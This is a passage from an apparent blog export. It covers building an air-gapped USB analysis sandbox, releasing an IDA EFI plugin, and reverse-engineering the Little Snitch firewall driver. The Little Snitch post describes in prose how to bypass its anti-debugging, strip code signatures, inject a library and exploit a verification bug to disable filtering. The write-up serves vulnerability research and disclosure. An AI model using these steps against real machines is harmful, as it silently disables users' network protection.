to the USB armory. With this mode it is very easy to build a small air gap computer - the goal for this project.\nOne of my first projects was to build a private travel Wi-Fi hotspot/firewall. The idea is to have one Wi-Fi interface connecting to the public network, and another Wi-Fi or Ethernet dongle connecting to my private devices. This way you can isolate your machines from the public network and still use it. You power everything with a battery power pack and you have your own hotspot. These days there are many devices that do this. The key difference is that you fully control this one and avoid potential backdoors and bugs that plague this kind of device (none has secure boot for example). You can also easily add TOR routing and any other cool features (DNS tunneling to bypass annoying airport networks, etc).\nLast week I gave a talk focused on physical and firmware security where I mentioned this setup and finally decided to write about my Armory Sandbox. The project has the following hardware and software requirements.\nHardware requirements:\nUSB armory USB armory host adapter Serial to USB adapter (useful to debug any problems else you are blind until network is up) USB 2.0/3.0 HUB JUE130 USB 3.0 Gigabit Ethernet Adapter One or more 4GB+ microSD card compatibility list At least one micro-USB cable (to connect host adapter to power source) Battery power pack Software requirements:\nDebian 8.x host (VM or not) The design is the following:\nIn this design a battery power pack is used to power everything but a self-powered USB hub is also ok if portability is not an issue. The USB armory host adapter can also work as a USB condom (only power lines are connected, data is blocked) meaning that we can safely power it from a normal USB port if necessary. The power pack can also power the USB or it might need extra power if connected devices are power hungry (big hard disks for example). The USB armory connects to one end of the host adapter, while the USB hub connects to the other end. Every other USB device is of course connected to the USB hub. The USB Ethernet adapter can be connected to the network where we want to copy data to, and to increase the air gap security a firewall can be set between the USB armory network and whatever network we want to access it from. Block everything but SSH and the air gap security just increases a notch (it now requires a malware that packs a zero day to bypass our firewall).\nThere are a few pre-compiled installation images by Inverse Path and other Linux distributions. Their default configuration is the non-host mode. To enable the host mode on these images please refer to this document.\nI did not use a pre-compiled image because at the time the Linux kernel had no native support for the USB Ethernet adapter I bought (although the manufacturer made driver available) and building my own also allows me to customize it with extra software. Very recently Inverse Path made available a Makefile to build a Debian based image (instead of copy \u0026amp; paste a series of commands as before).\nI made a fork called Armory Sandbox that adds some additional forensics packages, and a Linux kernel configuration that includes all the necessary drivers (both for the USB Ethernet adapter but also additional file systems, HFS+ for example). We need to support common filesystems we might find in target USB devices. If you have any specific requirements you need to generate a new kernel configuration file and update the included one. The default Armory Sandbox kernel configuration is located at kernel_conf/armorysandbox_linux-4.9.config. To update the kernel configuration you need to do it the following way:\nKBUILD_BUILD_USER=usbarmory KBUILD_BUILD_HOST=usbarmory ARCH=arm CROSS_COMPILE=arm-none-eabi- make menuconfig Save the configuration file and copy over the old config file (or just save it directly from kernel configuration). If you don\u0026rsquo;t do it this way the configuration file will be built for the host machine (x86 in this case) while our target is an ARM CPU. You can use other make configuration options if you are happier with a non-graphical kernel configuration mode.\nBut before we can build our own image we need to install some required software in our Debian host - ARM cross compiler and software required to build the root file system.\nsudo apt-get install bc binfmt-support bzip2 gcc gcc-arm-none-eabi git gnupg make parted qemu-user-static wget xz-utils zip sudo debootstrap The Makefile verifies the kernel and U-Boot signatures so we need to import their GPG keys:\ngpg --keyserver hkp://keys.gnupg.net --recv-keys 38DBBDC86092693E gpg --keyserver hkp://keys.gnupg.net --recv-keys 87F9F635D31D7652 We are now able to cross compile code for our ARM target.\nTo start building the Armory Sandbox image first clone the repo into the Debian host machine:\ngit clone https://github.com/gdbinit/armorysandbox Edit the Makefile and add your own ssh key into SSH_KEY variable.\nYou can change the default Debian mirror to one that is faster for you. Just edit the DEBIAN_MIRROR variable. You might also want to change the default image size variable IMAGE_SIZE from the default 3500Mb. This assumes a minimum microSD card of 4GB. If it is bigger we can resize the partition later FAQ. If you don\u0026rsquo;t want to resize you can change this option - you just end with a bigger image that will take longer to write to the microSD card.\nThe default account is usbarmory and password is the same as username. You should definitely change the default password (edit the Makefile, look for CHANGEME string). We definitely don\u0026rsquo;t want malware to try to exploit a default password.\nThe next step is to finally build the raw image. This is done in four steps:\nDebian filesystem and packages. Linux kernel. U-Boot. Install kernel and U-Boot into the raw image. If everything goes ok you end up with a armorysandbox-debian_jessie-base_image-YYYYMMDD.raw image file. Now we just need to write the image to the microSD card:\nLinux (verify target from terminal using dmesg):\nsudo dd if=armorysandbox-debian_jessie-base_image-YYYYMMDD.raw of=/dev/sdX bs=1M conv=fsync Mac OS X (verify target from terminal with diskutil list):\nsudo dd if=armorysandbox-debian_jessie-base_image-YYYYMMDD.raw of=/dev/rdiskN bs=1m You don\u0026rsquo;t need to care about making partitions in the microSD card. This command will wipe out everything in the microSD card, and the raw image we generated already contains the necessary partition information. So please be careful and double-check the target device before pressing enter.\nAfter dd finishes writing the image you can finally remove the microSD card from the host machine and plug it into the USB armory. Power on the USB armory and connect the serial console (the header layout is available here) and verify if it booted correctly.\nThe default IP address is 10.1.0.1 (netmask 255.255.255.0) without any configured gateway (at least by default we don\u0026rsquo;t want this device packets to go anywhere wild). You can just add an IP alias to the machine that will use the network to access the Armory Sandbox.\nMac OS X:\nsudo ifconfig en0 alias 10.1.0.2 255.255.255.0 If this network is not ok for you just edit the Makefile before you build the image or log in via serial console and modify /etc/network/interfaces configuration file.\nIf you want to enable Secure Boot feature you should read Inverse Path secure boot document. Keep in mind that this feature is currently less valuable because of the mentioned security issue but it is still useful in some scenarios like this one, at least until the full vulnerability details are made public. The advisory is mostly concerned with unattended hardware and physical tampering but without full details we can\u0026rsquo;t evaluate if for example some kind of malware/exploit could be able to defeat secure boot and somehow compromise our setup and/or taint our analysis. But the biggest reason for not being included right now in this setup is that this feature involves permanent and irreversible actions.\nTo add packages you need to edit the Makefile and modify the line with qemu-debootstrap command. I had some problems related to packages with dependencies on Python 2.7. There were some issues with python 2.7 minimal package dependency. Not sure yet how to solve it - there are some bugs reports about this. If you really need the packages that have problems and fail to build the image you can always add them later on via apt-get or dpkg (either upload them manually, or connect the armory to the Internet).\nWhen the Armory Sandbox finishes booting, you can log in via the serial console or SSH, plug in any supported USB device, mount it, and analyze its filesystem, or image it for analysis on another machine. After you finish analysis you can just discard the microSD (or sell them on EBay) if you want to be really safe, or just wipe it out and rewrite the Armory Sandbox image you built. This brings an additional problem, how to securely wipe the microSD card: self wipe, another isolated device just to wipe? We need to be careful to not break the air gap with a microSD card that might be potentially tainted by the USB devices we plugged in.\nThis project is far from the first to attempt to build an isolated USB analysis system. For example, Circl.lu has previously built CIRCLean USB Sanitizer using a Raspberry Pi device. The problem with this device is that it tries to automatically convert untrusted documents into another format, and more important to me, it mixes storage devices - the same \u0026ldquo;isolated\u0026rdquo; device accesses the bad USB and the good USB. It is breaking the air gap by design. I prefer a solution where the access is made over the network because we can add a firewall between the isolated device and the desktop machine. Also I don\u0026rsquo;t want to automate any data conversion, I just want an air gap. Of course CIRCLean project can be modified to accommodate these changes. Raspberry Pi doesn\u0026rsquo;t have a secure boot feature on its default package (although there are some available add-ons to achieve this), and that was a big plus on the USB armory, at least until vulnerabilities were found (my original setup was created way before these vulnerabilities were announced).\nThe USB armory is a super interesting platform and with some creativity really nice projects can be made out of it. You should definitely purchase one and explore it.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2017/06/20/armory-sandbox-building-usb-analyzer-with-usbarmory/","summary":"\u003cp\u003eSome time ago a friend received a mysterious USB pen with a note talking about some kind of heavily persistent malware. He had that USB pen stored untouched and of course my curiosity took over. Since one should never plug in unknown USB devices into a computer (well, any USB device we purchase is unknown but that is another story) and I didn\u0026rsquo;t want to \u0026ldquo;burn\u0026rdquo; a computer just to take a look at the contents I decided to use my USB armory to build an air gap sandbox that would be harder to infect and for malware to escape from it.\u003c/p\u003e","title":"Armory Sandbox – Building a USB analyzer with USB armory"},{"content":"Today I am finally releasing one of the EFI reversing tools I built when I was working on the SCBO post.\nYesterday there were some tweets about IDA improving its support for EFI binaries (although I’m not sure it’s the same thing as in here) so I decided to finally release this one.\nYou can find the source code https://github.com/gdbinit/EFISwissKnife.\nTested with IDA 6.9 and IDA 6.95 OS X versions, might work in Windows with just paths modification.\nIt is based on Snare’s work, https://github.com/snare/ida-efiutils. Since I hate Python I rewrote it in C and added some extra features.\nI opted for not renaming the function pointer calls to names as Snare does but instead just leave everything as a comment.\nOne of the features I added is to generate statistics about the Protocols and Boot/RunTime services. This way you can have a quick idea of what the target binary is using in terms of EFI services and Protocols.\nIt also features a batch mode that you can use with IDA own batch mode to gather statistics from all the binaries in a firmware dump for example. It also has the ability to write to a database so you can easily query information.\nPlease check the README file for extra information and definitely the code. Feel free to submit updates, in particular to the EFI GUIDs database.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2017/06/13/efi-swiss-knife-an-ida-plugin-to-improve-uefi-reversing/","summary":"\u003cp\u003eToday I am finally releasing one of the EFI reversing tools I built when I was working on the \u003ca href=\"/2016/06/25/apple-efi-firmware-passwords-and-the-scbo-myth/\"\u003eSCBO post\u003c/a\u003e.\u003cbr\u003e\nYesterday there were some tweets about IDA improving its support for EFI binaries (although I’m not sure it’s the same thing as in here) so I decided to finally release this one.\u003c/p\u003e","title":"EFI Swiss Knife – An IDA plugin to improve (U)EFI reversing"},{"content":"Little Snitch was among the first software packages I tried to reverse and crack when I started using Macs. In the past I reported some weaknesses related to their licensing scheme but I never audited their kernel code since I am not a fan of IOKit reversing. The upcoming DEF CON presentation on Little Snitch re-sparked my curiosity last week and it was finally time to give the firewall a closer look.\nLittle Snitch version 3.6.2, released in January 2016, fixes a kernel heap overflow vulnerability despite not being mentioned in the release notes – just a \u0026ldquo;Fixed a rare issue that could cause a kernel panic\u0026rdquo;. Hopefully Little Snitch’s developers will revise this policy and be more clear about the vulnerabilities they address, so users can better understand their threat posture. Are there any more interesting security issues remaining in version 3.6.3 (current at the time of research) for us to find?\nYou are reading this because the answer is yes!\nWhat is Little Snitch? Little Snitch is an application firewall able to detect applications that try to connect to the Internet or other networks, and then prompt the user to decide if they want to allow or block those connection attempts. It is a super-useful addition to OS X because you directly observe and control the network traffic on your Mac, expected and unexpected.\nIt is widely popular: I personally make sure it’s the first thing I install when configuring new OS X images.\nHow is Little Snitch implemented? The OS X feature that makes Little Snitch possible is called socket filters. A complete description and implementation guide to socket filters is in Apple’s Network Kernel Extensions Programming Guide. The following diagram from this document describes its implementation in the networking stack:\nEssentially these filters allow us to access information about incoming and outgoing network connections and make a decision to allow/block the connection. Parent-process information is available making it very easy to implement, for example, an OSI-layer-7 sniffer application, or an application firewall like Little Snitch. Two other filters are available, IP and Interface, which allow filtering traffic at the IP and interface levels. Both are less interesting for an application like Little Snitch and filtering at those levels is probably better achieved with the operating system’s pf firewall.\nTo install a new socket filter, we call the sflt_register() function in the associated kernel extension. The first argument to this function is a structure where we configure the callbacks we want.\nThe sf_attach callback will execute when the filter is attached to a socket. Depending on configuration, this happens to every new created socket (after the socket filter is installed) or only to specific sockets (using Apple’s custom SO_NKE socket option). In this callback we can create a cookie to store user-defined data related to the socket, for example the process PID that created the socket. This cookie will be available to all the subsequent callbacks (the first argument to all callbacks that have access to it). The sf_data_in and sf_data_out callbacks are triggered on incoming and outgoing data, allowing us to filter data in transit. The sf_connect_in and sf_connect_out callbacks allow us to filter the creation of incoming and outgoing connections.\nUsing the Little Snitch kernel extension’s import table to locate the sflt_register() function, we can easily find out what kind of functionality it implements by looking at the installed callbacks.\nLittle Snitch is interested in filtering every new socket created after it is installed using the SFLT_GLOBAL option. It then configures all the available callbacks, and finally registers the filter. There is a loop (not visible in this disassembly) installing many filters. The reason for this is that filters are tied to a specific domain, type, and protocol, meaning that every possible socket configuration must be specified if we want to filter every possible type of network connection (which Little Snitch is designed to do).\nFor example, in Apple’s tcplognke sample code we can find two filters, one for IPv4 and another for IPv6, and a specific socket type as shown in the code comments:\nYou can find additional information about socket filters in my Revisiting Mac OS X Kernel Rootkits Phrack article, section 6.4. There I show you how to locate and dump the kernel structures associated with socket filters and how to attack/bypass them from a kernel rootkit perspective.\nSocket filters are an interesting and powerful OS X feature. If you are interested in playing with them you should start with tcplognke source code because it implements packet reinjection. The code is old but it is still the best reference to date.\nAnti-debugging measures One of my very first blog posts was about Little Snitch’s anti-debugging measures. This information is still accurate today but let’s revisit it for a moment since they have a new trick inside their kernel extension.\nThe Kernel Authorization subsystem (kauth) supports the installation of a listener (process scope) to control which processes can trace or debug other processes. The documentation discusses the following action available in the process scope:\n\u0026ldquo;KAUTH_PROCESS_CANTRACE — Authorizes whether the current process can trace the target process. arg0 (of type proc_t) is the process being traced. arg1 (of type (int *)) is a pointer to an an errno-style error code; if the listener denies the request, it must set this value to a non-zero value.\u0026rdquo;\nThe practical meaning of this is that an installed listener will be able to control whether a process (typically a debugger) can debug another process or not. Little Snitch uses this feature to protect its processes from debuggers, code injectors, or anything else that needs to attach to a process (including DTrace).\nKauth listeners are installed using the kauth_listen_scope() function so we can once again easily trace where the driver calls it.\nFirst it allocates some memory for a structure (described in the code comments) that contains four function pointers (the last four structure fields) and some other unknown data. The first field contains the total number of running processes.\nThe second parameter to kauth_listen_scope() is the callback, which can be found at address 0x19628 (identified by IDA as off_19628) pointing to address 0x2F9D.\nThe interesting thing is that this is a fake or non-functional callback!\nIf we insert a breakpoint on this address it will never be hit when we try to attach a debugger to one of the protected Little Snitch processes. What is happening?\nThe function sub_2CD2 has two code references, this fake callback and another function. If we look at the second function it contains exactly the same code as the fake callback.\nWhat is happening is that the callback pointer that was at address 0x19628 (the second parameter to kauth_listen_scope()) pointing to address 0x2F9D (fake callback) is replaced with a pointer to above’s function at address 0x2D89 (the real callback). The replacement function is shown below.\nOne key question about this pointer switch is: when does it happen?\nIf the listener was already installed, this could be a dangerous operation since the above code has no locks and interrupts are enabled, so crashes could happen. Little Snitch developers aren’t exactly newbies, so they wouldn’t trade off potential kernel panics for a clever trick.\nThe answer lies in code references. The pointer exchange function is called in the init() method as we can see on previous picture code xref, while the listener is installed in a function call from start() method (address 0x3264).\nThe trick is that the init() method is guaranteed to be called before any other method in the class, meaning that the pointer switch always occurs first. This only fools the static analysis if we carelessly neglect to look at the disassembler code references. Just a cute trick that could be improved by obfuscating the listener install functions via function pointers.\nTwo other known anti-debugging tricks are used in Little Snitch’s user applications, ptrace’s PT_DENY_ATTACH and sysctl’s *AmIBeingDebugged.\nThe PT_DENY_ATTACH description can be found in ptrace’s man page and sysctl’s in Apple’s technical Q\u0026amp;A QA1361 note.\nPT_DENY_ATTACH\nThis request is the other operation used by the traced process; it allows a process that is not currently being traced to deny future traces by its parent. All other arguments are ignored. If the process is currently being traced, it will exit with the exit status of ENOTSUP; other- wise, it sets a flag that denies future traces. An attempt by the parent to trace a process which has set this flag will result in a segmentation violation in the parent.\u0026quot;\nThe symbols used in these anti-debugging tricks can’t be found in the import table because they are resolved at runtime, and their strings are also obfuscated to further obscure what is happening. The following disassembly output comes from the Little Snitch Daemon binary and shows how a call to the sysctl anti-debug facility is implemented.\nTo avoid resolving the sysctl symbol every time it is used, the pointer is stored in a global variable (I labeled it sysctl_pointer). At the beginning of this code snippet we can see the pointer tested against a NULL value. If it’s NULL, it means the symbol is not yet resolved so that needs to be done now.\nTo resolve the symbol, the first step is to deobfuscate a string since dlsym() needs the symbol string as the second parameter. The following screenshot shows some of the obfuscated strings and their deobfuscated version found in the various Little Snitch binaries.\nAfter the string is deobfuscated the symbol is resolved via dlsym(), the function pointer is stored in the global variable, and finally the code executes the sysctl() function pointer. Compare the disassembly with the QA1361 note sample code and you can conclude that this code is implementing the described anti-debugging trick.\nThe ptrace PT_DENY_ATTACH anti-debugging trick follows next – verify the function pointer, deobfuscate string, resolve the symbol, call ptrace() function pointer.\nBoth the sysctl and ptrace anti-debugging tricks can be bypassed with a kernel extension such as Onyx The Black Cat, or by breakpointing the ptrace() and sysctl() functions and fixing the return values; this is only valid if you are starting the application under the debugger and not if attaching to already-running processes.\nAnother alternative is to patch or remove the kauth listener with a kernel debugger or with another kernel extension.\nThe socket filter cookies I didn’t fully reverse the cookies’ structure but it is definitely interesting future work to understand what kind of data Little Snitch uses internally in filter decisions. The cookie size in version 3.6.3 is 128 bytes (slightly different in older versions). I came up with the following crude structure description:\nWe can observe the cookie lifecycle by opening a connection with telnet and two breakpoints, one in the attach callback and another in the connect_out callback. The cookie will be created at the attach callback and we should be able to see the same cookie at connect_out callback when telnet tries to establish the connection. The function that allocates a new cookie is at address 0x10FF0 and is used only from the attach callback.\nThe next screenshot is from a kernel debugger session with a breakpoint set in the return address of the allocate_new_cookie() function call. Telnet’s process PID is extracted from the cookie structure.\nAnd as soon as telnet tries to establish the connection we hit the breakpoint on the connect_out callback. The cookie in the first argument should be the same and we can verify it is the same telnet process PID.\nFrom the connect_out callback prototype we observe that other arguments are useful to extract socket information.\nFor example, we can display the IP address the process is trying to connect to from the third argument using a small GDB scripted command. For this to work we need to use Apple’s kernel debug package (available from Developer Download portal, requires free registration as an Apple developer) which contains all structure definitions that assist GDB or LLDB.\nIf we set a breakpoint in connect_out out we can use above\u0026rsquo;s GDB script showsockaddr_in $rdx to display the target network address. This can be useful to distinguish connections if you’re debugging a specific binary and connection.\nI/O Kit and Little Snitch I previously referred to Little Snitch’s kernel code as a kernel extension, but technically it is implemented as an I/O Kit driver instead of a BSD kernel extension. I/O Kit is Apple’s object-oriented framework for developing device drivers based on a restricted subset of C++, while BSD kernel extensions are typically developed in C. The following Apple document Introduction to IOKit Fundamentals is a good reference and introduction to I/O Kit.\nOther than the developer’s preference for C++ as a development language, my guess is that Little Snitch developers chose it because I/O Kit drivers are capable of being loaded very early in the boot process while kernel extensions no longer have this ability (afaik!). Previously there was a bypass using com.apple identifiers but mandatory kernel code-signing enforcement killed it. Socket filters can be implemented in I/O Kit drivers or BSD kernel extensions.\nAnother reason to choose I/O Kit are classes that implement data exchange between user processes and the kernel. Socket filters are implemented at the kernel level, but Little Snitch users have to make a decision about each connection in a dialog running at user level. So, data needs to be exchanged between the driver and Little Snitch’s daemons and applications. More about this to come.\nA very good source code example to learn about this data exchange is Apple’s SimpleUserClient.\nLittle Snitch Classes If we load the Little Snitch kernel driver into a disassembler (IDA was used for the screenshots) we can notice a class named at_obdev_LSNKE. This is the main class of the driver as we can also observe in the driver Info.plist contents:\nFurther class information can be extracted from the __const section. We observe that its parent class is IOService and Little Snitch overrides some IOService-provided methods. This will be extremely useful when understanding its design.\nThe following picture describes the at_obdev_LSNKE class reverse engineered from the __const section information.\nThis matches what we saw previously in the anti-debugging pointer switching trick – the init() and start() methods are overridden; init() has a call to the function that exchanges the pointers, and when the driver starts, the real kauth listener is installed in the start() method.\nWhat is the trick to rebuild the class from the disassembly output?\nIDA identifies the overridden methods with yellow color which have references to code implemented in the driver itself, while pink color identifies the class methods not overridden. From this information we can easily reconstruct the class structure.\nIn this partial picture of the at_obdev_LSNKE class we can observe that the probe(), start(), stop(), terminate(), finalize() methods are overridden by the Little Snitch classes.\nWe can use the same technique to identify all the other classes created by Little Snitch. There are two classes IORegistryDescriptorC1 and IORegistryDescriptorC5, whose parent class is IOUserClient, and three classes, IORegistryDescriptorC2, IORegistryDescriptorC3, IORegistryDescriptorC4, which subclass IORegistryDescriptorC1.\nThe following picture describes the IORegistryDescriptorC1 class, with a few methods overridden and others added by Little Snitch developers.\nIts subclasses (C2, C3, C4) themselves override some methods, and also add new ones (maybe a few also overridden from parent class?).\nThe reason for the different classes is that they are used by different userland clients – Little Snitch Daemon, Little Snitch Agent, Little Snitch Configuration, Little Snitch Network Monitor, and implement different features specific to each userland client.\nThe IORegistryDescriptorC5 class serves a very specific purpose and thus is slightly different and interesting in its own way. We will explain why later.\nHow to exchange data between kernel and userland in I/O Kit As previously stated Little Snitch’s design and implementation must provide some method of data exchange between the kernel and user applications. When an application wants to establish a network connection, the socket filter will intercept it, then send some data about the connection to the user daemon which generates a user alert (it is probably relayed internally to the Agent since the daemon runs as root), the user will click a button to make a decision about the connection, and then the decision will have to be relayed back to the kernel.\nLittle Snitch implements bidirectional communication channels – one from user applications to kernel, and another from kernel to user. In the first, the request is always user application initiated and can be used to transmit data to the kernel or receive data from the kernel (possible for the same request to send data and receive data). In the second channel, it is the kernel that initiates the data transmission (technically it notifies user application that some data is ready to be read).\nIn some scenarios there is no need for the second channel, since polling can be used to ask the kernel if new data is available. This might not be very efficient in some scenarios. To my surprise, Little Snitch design uses some kind of “polling” as we will see later on.\nLet’s start by reversing connections made from the user application to the driver. The I/O Kit class that implements this feature is IOUserClient, the parent class of IORegistryDescriptorC1 and IORegistryDescriptorC5. This is the class that SimpleUserClient code uses to communicate between a driver and a user client application.\nThe connection from user application is established using IOServiceOpen() function. One of its parameters is the service we want to connect to, specifically the class at_obdev_LSNKE. The service can be found using IOServiceGetMatchingService() or IOServiceGetMatchingServices() (this one returns an iterator object you can traverse). The following code snippet shows how to open a connection to Little Snitch driver.\nThe third parameter to IOServiceOpen() is an integer defining the type of connection to be created. Little Snitch implements five different types, used to distinguish between the different clients. To find the client types we need to disassemble each binary and trace the calls to IOServiceOpen().\nThe Little Snitch Daemon supports two connection types, plus one type for the remaining Little Snitch applications: Agent, Network Monitor, and Configuration (I did not take a look at Software Update and Uninstaller).\nEstablishing a connection from the user application is pretty simple and elegant. Let’s see what happens on the kernel side. The following picture shows the logs from SimpleUserClient driver when it is loaded and a user client connects.\nLittle Snitch classes override the initWithTask() method, since they are interested in doing something specific when a new client connects. But before a client gets into IORegistryDescriptorC1 or other classes there is a very interesting kernel method executed, newUserClient(), which Little Snitch also overrides as we saw in at_obdev_LSNKE class definition. This is the method that instantiates a new user client object. Its third parameter is the client type.\nDepending on the client type, newUserClient() will instantiate a new object from IORegistryDescriptorC2, IORegistryDescriptorC3, IORegistryDescriptorC4, IORegistryDescriptorC5 classes, and then initWithTask() will be called.\nThis picture shows the switch statement based on client type parameter. I added notes regarding the client type and instantiated class. Below we can observe initWithTask() and start() being called and directed to different addresses based on the class the object belongs to.\nTo find the target address of those indirect calls, we can use a kernel debugger to breakpoint and examine the final call address or we can compute it ourselves from the class information (since we know the class the object belongs to).\nThe offset value in the first call at address 0x3A76 is 0x8E8. We just need to find the base address of IORegistryDescriptorC3 class, add the offset and we have the method this call is referring to. The base address for this class is 0x15A30, adding the 0x8E8 offset gives an address of 0x16318, the location of initWithTask() method; it is overridden and points towards IORegistryDescriptorC3::initWithTask() at address 0x99DE. I haven’t shown all the classes definition but only C1, C3, and C5 override initWithTask() method, which is the reason why Little Snitch Agent, Configuration, and Monitor all share C1’s initWithTask() while the C3 and C5 classes have their own initWithTask() implementation.\nWith this we are able to map which class is being used for each client type. At this point we have a connection established from user application to the kernel driver. The next step is how data is sent by user application and received by the kernel.\nThis is achieved by implementing methods in the user client class (IORegistryDescriptorC* classes) that can be called from the user application and will expose whatever services the kernel driver wants to provide to the user client.\nTo invoke these methods the user application uses certain functions, which allow passing a variable-sized array of 64-bit integers or a structure to the kernel, and also receive the same type of data from the kernel. These functions are IOConnectCallMethod(), IOConnectCallStructMethod(), IOConnectCallScalarMethod() (and complementary Async versions for all three).\nFor example, to query the current Little Snitch filter status and assuming we have a valid connection to the driver we use the following code:\nIn this case this is an output type method, meaning that the kernel will send us data on the output array we pass on the IOConnectCallScalarMethod() request. Little Snitch implements 28 methods.\nWhere can we find these methods in the driver code?\nOnce again, they can be found at the __const section. It is an array with elements of the following structure:\nThe first element is a pointer to the kernel method that will receive the user application request, and the remaining fields contain the size of the input and output data the user application is sending or requesting. One way to locate this array is to go through the __const section and visually look for this kind of structure, which isn’t hard to locate, or to write a script to try to locate this kind of structure array (Fermín J. Serna did it here). Another simpler trick is to locate the externalMethod() implementation which references this array. The externalMethod() is the new KPI that supports 32-bit and 64-bit processes, while the older getTargetAndMethodForIndex() only supports 32-bit processes.\nIn this case the externalMethod() method is located 0x850 bytes from the start of the class definition. The first four IORegistryDescriptorC* classes implement this method but C5 is special and doesn’t support these methods. On all four the externalMethod() is implemented by the same function at address 0xDC6A which references the array at address 0x17DC0.\nThe next screenshot shows part of this array with some of my notes about what I think they do. Of the 28 methods implemented by Little Snitch a few point to the same function (address 0xD7EA) that just returns zero.\nThe method that returns the filter status is number 14, so let’s take a look at its implementation.\nThe code retrieves the status of the driver from an internal structure and writes it into the scalar output buffer, which was the user buffer we passed on the IOConnectCallScalarMethod() function. The RDX parameter is a IOExternalMethodArguments structure and offset 0x48 corresponds to the scalar output pointer.\nGenerally these methods are one of the main things you want to fuzz in I/O Kit drivers since the input data is user controlled, and as a few security researchers have demonstrated (Ian Beer from Project Zero in particular), it tends not to be verified by the recipient. You can find a few papers in my papers section (a few recent ones are missing). I haven’t finished fuzzing all the methods but the code appears to be robust. For example, if we pass bogus data to method 12 all the network traffic on the machine will be blocked until Little Snitch is stopped and restarted (from the Agent menu). Little Snitch developers confirmed to me that this is the expected behavior and their response to bogus data. I discovered this behavior directly via fuzzing.\nMethod 16 is quite interesting! It is the method that allows userland applications to enable/disable Little Snitch filtering. Which leads to the next question and the interesting vulnerability\u0026hellip;\nCan an arbitrary client connect to Little Snitch driver and disable it? No. Well, sort of, or else you wouldn’t be reading this blogpost.\nLittle Snitch implements driver checks that attempt to restrict driver connections to particular user applications. It will hash the binary of the client trying to connect to the driver and verify if it matches the hardcoded whitelist of authorized Little Snitch binaries.\nThe problem is that its design suffers from a TOCTOU bug (Time of Check to Time of Use), or to be more precise, a TOUTOC bug (Time of Use to Time of Check).\nThis bug allows us to bypass the checks and run arbitrary code inside the Little Snitch binaries. I achieve this by injecting a dynamic library into a Little Snitch process, connect to the driver, and call the disable driver method 16. The legit user applications will not detect the change because they are not polling the driver status: they assume they are the only application able to control the driver (implementing this polling could be a future improvement to Little Snitch). It might also be possible to inject new firewall rules but I haven’t tested this scenario.\nLet’s look at the driver implementation to understand the bug.\nRemember that when a user application tries to connect to the driver the method newUserClient() will be called first, instantiate the correct class and call the class method initWithTask(). IORegistryDescriptorC3 overrides initWithTask() but then calls the IORegistryDescriptorC1::initWithTask() method so we will only take a look at this implementation. IORegistryDescriptorC5 doesn’t verify the client connection which we will analyze later since that introduces a DoS vulnerability.\nFirst there is a check to see if the user application client didn’t died before we verify it (IOUserClient::clientDied() method), and then at function sub_C1EC is where the client is verified. A return value of zero means that the client is not authorized to connect and newUserClient() will deny the connection returning a value of kIOReturnNotPermitted (0x0E00002E2), while a return value of one means the client connection can proceed. You can easily verify this by inserting a breakpoint at the address 0xDCDE and verify the return values for Little Snitch binaries and a custom binary (or patched Little Snitch binary).\nThe verify function is huge and I’m not interested in fully reversing it because it’s not a priority to understand everything it does, we just need to understand its output given different inputs. Sometimes there is no need to reverse everything – just assume it is a blackbox that maps inputs to outputs and that’s it. This saves time and effort for more important things when you’re beginning a research project.\nWe observe that the verify function supports different client types (address 0xC250 with jump table target addresses in comments) and then what appears to be an hash. Code references to the SHA1 function family can be seen in the function.\nOne easy way to bypass this check is to inject a dynamic library into an authorized process. Are we able to (easily) do it?\nThe easiest way to achieve this is to inject the library using the DYLD_INSERT_LIBRARIES environment variable. Remember that code injection by attaching to a process is protected by the kernel. Little Snitch developers obviously are aware of this and block DYLD_INSERT_LIBRARIES injection using a dyld (the linker) feature. If a __RESTRICT segment and a __restrict section exist, dyld will not load any library specified by the aforementioned environment variable which effectively blocks an easy injection vector into Little Snitch processes. For a good description about the dyld __RESTRICT feature, please refer to this blogpost.\nWe could bypass this restriction by editing the binary Mach-O header and renaming the __RESTRICT segment (a single bit flip is enough). The problem is that this will modify the binary’s hash and fail the driver’s verification, and subsequently OS X’s code signature verification. The binaries are set to hardkill if code signature verification fails, meaning that process will be killed immediately.\nHow to exploit the vulnerability? Let’s recap our situation. We know that there is a logic mistake in the way the user client application is verified by the driver – the client is verified only when it tries to establish a connection to the driver, never before. Little Snitch binaries are also configured to deny library injection and will be killed if OS X code signature verification fails.\nThe first thing we can do is to eliminate the OS X code signature in Little Snitch binaries. The reason for this is that both the driver and the application ignore the official code signature; only the operating system looks at it when we try to load the binary and driver. So we can simply remove the code signature from the binary (no Gatekeeper interference because the binary is already installed and no longer quarantined).\nThe easiest way to strip the code signature is to edit the number of load commands and their size from the Mach-O header. If we configure the header to have one less command (specifically, the code signature command), OS X will interpret the binary as not having a code signature. This super easy trick is possible if the code signature is the last command in the header, which is the most common case. Optool and macho_edit are some utils that support removing code signatures in other cases.\nSince we got rid of the potential for hardkill, we can also modify the header and remove the dyld injection protection (modify the name of __RESTRICT segment). This allows us to finally fully control Little Snitch code from our own injected library.\nBut, we just modified the binary so driver client verification will still fail! This is where the vulnerability becomes obvious (hindsight is always 20/20). Because the check only occurs when we try to connect to the driver via IOServiceOpen(), what we shall do is revert whatever we patched in the binary before connecting and everything will look intact when the driver reads the file to hash its contents. Quite simple, quite powerful.\nSince all the Little Snitch applications’ filesystem permissions are correctly configured and can’t be written by a regular user, we merely need to make a copy of the application we want to attack, modify it, and inject the library.\nThe library will then open the binary and restore the patched bytes before it opens the connection. Now we are free to use our own code to connect to the driver and issue commands, or just reuse application functions. Remember that we have full arbitrary code execution within the application context, so we can do whatever we want. This is probably the easiest way to exploit this logic vulnerability but it might be a good exercise to try other possibilities.\nI am not releasing the exploit source code but the story doesn’t end here. There is an extra step to have our own code connect to the driver, but I am not going to discuss it here. It essentially requires two methods and some reversed code (or reusing application code, which I did) to be called before we can issue the disable driver command. I will leave this as an exercise to the readers truly interested in writing exploits for this bug.\nHow data is exchanged from the kernel to user applications? We have seen that user applications send (and receive) data to the kernel via the IOUserClient class. They are able to pass (and receive) data in either integer variable arrays or structures. But how is the kernel able to send data to user applications without them having to poll via IOUserClient?\nLittle Snitch implements this feature using the IODataQueue class, which has been deprecated in favor of IOSharedDataQueue class. If you follow OS X security this will ring a bell since both have been exploited by Ian Beer in the past (here, here, and here). IODataQueue class documentation describes it nicely and gives us the right tips to reverse Little Snitch implementation:\n\u0026ldquo;A generic queue designed to pass data from the kernel to a user process.\nThe IODataQueue class is designed to allow kernel code to queue data to a user process. IODataQueue objects are designed to be used in a single producer / single consumer situation. As such, there are no locks on the data itself. Because the kernel 